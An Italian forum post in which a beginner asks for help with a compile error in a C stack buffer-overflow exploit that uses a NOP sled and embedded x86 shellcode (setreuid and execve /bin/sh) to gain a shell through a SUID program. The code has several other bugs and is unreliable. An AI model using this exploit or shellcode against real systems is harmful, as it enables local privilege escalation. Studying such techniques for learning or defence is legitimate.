Scusate probabilmente sarà una questione stupida ma è da un po' che mi ci scervello su e non riesco a venirne a capo.
Praticamente è da un po' che mi sto interessando ad alcune tecniche di exploiting ed in particolar modo in questi giorni ho deciso di scrivere un semplice programma in C abbastanza rudimentale e semplice (ma da qualche parte dovrò pur cominciare): il programma, come anticipato nel titolo è un semplice exploit basato su buffer overflow nello stack che utilizza una slitta NOP per iniettare nella macchina vittima uno shellcode (che per altro non ho neanche scritto io) al fine di aprire un altra shell (magari sfruttando i permessi SUID del programma);
il problema è che nella compilazione il compilatore l'errore mi da un errore che non capisco a cosa possa riferirsi;
Vi allego il codice in questione:
/*
Buffer overflow con slitta NOP
hp:
File=esempio.exe
distanza cima stack-return address=200
grandezza frame calcolabile da riga di comando
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
char SHELLCODE[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
void usage(char prog_name){
printf("Usage: %s: <offset>\n", prog_name);
exit(0);
}
int main(int argc, char *argv[]){
int i, offset=270, *ret; // valore offset inizializzato per debugging
char *command, *pointer;
command=(char *)malloc(200);
memset(command, 0, 200);
strcpy("./esempio.exe ", command);
if(argc==1)
offset=atoi(argv[1]);
/*
else
usage(argv[0]);
*/
ret=&i-offset;
pointer=command+strlen(command);
for(i=0;i<80;i+=4)
((int *)pointer+i)=ret;
memset(pointer, 0x90, 50);
memcpy(pointer+60,SHELLCODE, strlen(SHELLCODE));
printf("[DEBUG] Command: %s", command);
/*
system(command);
free(command);
*/
}
Come avete notato il codice è scritto in modo tale da permettere un debug più semplice, infatti alcune istruzioni, come l'esecuzione del comando, sono commentate, esattamente come la gestione degli argomenti da riga di comando).
l'errore invece risulta essere questo:
39 21 [Error] lvalue required as left operand of assignment
In conclusione vi chiedo di essere clementi, in quanto non sono avvezzo ai forum e alle loro consuetudini ma anche perchè so perfettamente che un programma come questo è inefficiente e probabilmente inutile in molti casi ma come detto prima tutto ciò è scritto solo per curiosità personale.
Grazie mille in anticipo per gli eventuali consigli e suggerimenti.